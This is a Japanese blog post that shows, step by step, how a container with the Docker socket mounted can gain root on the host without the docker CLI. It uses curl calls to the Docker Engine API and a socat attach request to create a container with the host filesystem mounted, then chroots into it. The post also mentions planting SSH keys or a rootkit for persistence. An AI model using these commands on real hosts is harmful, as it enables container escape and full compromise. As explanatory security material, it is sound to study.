リアル脱出ゲームやりたいなーと思ってたのでそれっぽいタイトルにしてみましたが、 /var/run/docker.sock
をDockerコンテナにマウントするとroot権限相当のことが出来る、という詳しい人なら普通に知ってる話です。
ですが、ただ普通に試しても面白くないしdockerコマンド使わずにやってみた、というライトな記事です。
概要
/var/run/docker.sock
をマウントしたDockerコンテナからホストのrootを取るまで、一切dockerコマンドを使わずにやってみたというひねくれた話です。alpineとかだとcurlも入ってないし、dockerコマンドを使うのに比べて攻撃しやすいとかそういうのは全くなく、深く知るためにやってみただけです。何の意味があるの?と聞かれれば何も意味ありませんと答えます。
さらに言うと、curl/socatの話がメインになっていてホストへの脱出とかもはや関係ないという説もあります。
環境
- ホストOS:Ubuntu 16.04
- コンテナイメージ:alpine:3.7
/var/run/docker.sock
をマウント
Dockerなので特に環境は関係ないはずですが、一応書いておきます。
詳細
まず前提として、 /var/run/docker.sock
をマウントしたDockerコンテナがあるとします。
root@ubuntu-xenial:~# docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine:3.7 sh / #
ここに侵入された場合にホストのrootをどうやって取るか、を説明します。
すでに知っている人も多いと思いますが、Dockerは通常だと /var/run/docker.sock
のUNIXドメインソケットでHTTPサーバが待ち受けています。Dockerコマンドを実行するとHTTPリクエストが発行されて、サーバが実際に処理します。
なので、curlなどを使ってDocker操作が可能です。
上のalpineに侵入されたとしてcurlでDockerを操作してみます。 まず先に必要なコマンドをインストールします。 この時点でdockerコマンド入れたほうが確実に楽です。
/ # apk add --update curl socat
コンテナ作成
ではまずコンテナを作成します。
コンテナ作成のエンドポイントは /containers/create
です。
Docker Engine API v1.37 Reference
POSTするJSONの値で作成するコンテナのオプションが指定できます。
--unix-socket
でUNIXドメインソケットのpathを指定しています。
/ # curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create?name=attack -d '{ "Image": "alpine:3.7", "Cmd": ["/bin/sh"], "OpenStdin":true, "Mounts": [ { "Type": "bind", "Source": "/", "Target": "/host" } ] }' {"Id":"0644be52881892f5f7dc311611933c979eb030eec5d9b11d0707c47b2bdff38c","Warnings":null}
上の例では、ホストの /
をコンテナの /host
にマウントしています。
利用するイメージは alpine:3.7
で、CMDには /bin/sh
を指定しています。
コンテナ名は何でも良いですが attack
にしています。
この状態でホストのdockerコマンドで一覧を見てみます。
root@ubuntu-xenial:~# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 0644be528818 alpine:3.7 "/bin/sh" 2 minutes ago Created attack
STATUSがCreatedになっています。そういうSTATUSがあるのを今まで意識してませんでした。 この状態だと起動していないので、コンテナを起動します。
コンテナ起動
先程のコンテナ名を指定してcurlコマンドを実行します。
コンテナ起動は containers/{id}/start
です。
Docker Engine API v1.37 Reference
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/attack/start
これで準備は完了です。
コンテナアタッチ
上で作成したコンテナにattachしてみます。
Docker Engine API v1.37 Reference
コンテナ内でコマンドを叩くだけならcurlで良いのですが、interactiveに操作しようとするとraw streamが返って来るのでcurlだと困ります(知らないだけでオプションあるかもですが)。
今回はsocatを使います。socatでHTTPリクエストを送るとそのままソケットが開かれるので、コマンドを打ったり出来ます。 以下のようなHTTPリクエストを送ります。
POST /containers/attack/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 Host: Connection: Upgrade Upgrade: tcp
いちいち打つの面倒なのでパイプで渡します。
(cat <<EOF POST /containers/attack/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 Host: Connection: Upgrade Upgrade: tcp EOF cat - ) | socat - UNIX-CONNECT:/var/run/docker.sock HTTP/1.1 101 UPGRADED Content-Type: application/vnd.docker.raw-stream Connection: Upgrade Upgrade: tcp [コマンド打てる]
レスポンスが返ってきて、そのままコマンドが打てます。
このコマンドは新しく起動したコンテナ内で実行されます。
このコンテナは /host
にホストのrootディレクトリをマウントしているので、chrootすればホストの操作が可能です。
HTTP/1.1 101 UPGRADED Content-Type: application/vnd.docker.raw-stream Connection: Upgrade Upgrade: tcp chroot /host obash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell )groups: cannot find name for group ID 11 iTo run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. root@0644be528818:/# cat /etc/hostname ubuntu-xenial root@0644be528818:/# ps aux ... root 14209 0.0 0.0 1560 4 ? Ss 01:56 0:00 /bin/sh root 14231 0.0 0.0 0 0 ? S 01:56 0:00 [kworker/1:2] root 14254 0.0 0.0 1508 4 pts/0 S+ 02:10 0:00 cat - root 14255 0.0 0.1 11876 1568 pts/0 S+ 02:10 0:00 socat - UNIX-CONNECT:/var/run/docker.sock root 14258 0.0 0.3 18224 3260 ? S 02:11 0:00 /bin/bash -i root 14270 0.0 0.2 34424 2880 ? R 02:12 0:00 ps aux
表示は見やすいように少しいじっていますが、hostnameにはホストの ubuntu-xenial
が表示され、psコマンドでホストのプロセスが見えています。
ということであとはSSHの鍵でも置けば自由に入れますし、rootkitでも置いてバックドア化すればいつでもログイン可能になります。
まとめ
Dockerの操作はUNIXドメインソケット経由で可能なのでcurlでも普通に実行できます。
ただシェルを操作するときにcurlだと出来なくて困ってたのですが、socatで出来ました。socat万能。
curlとsocatで docker run
相当のことが出来ると知っておくと何か便利なことがあるかもしれません。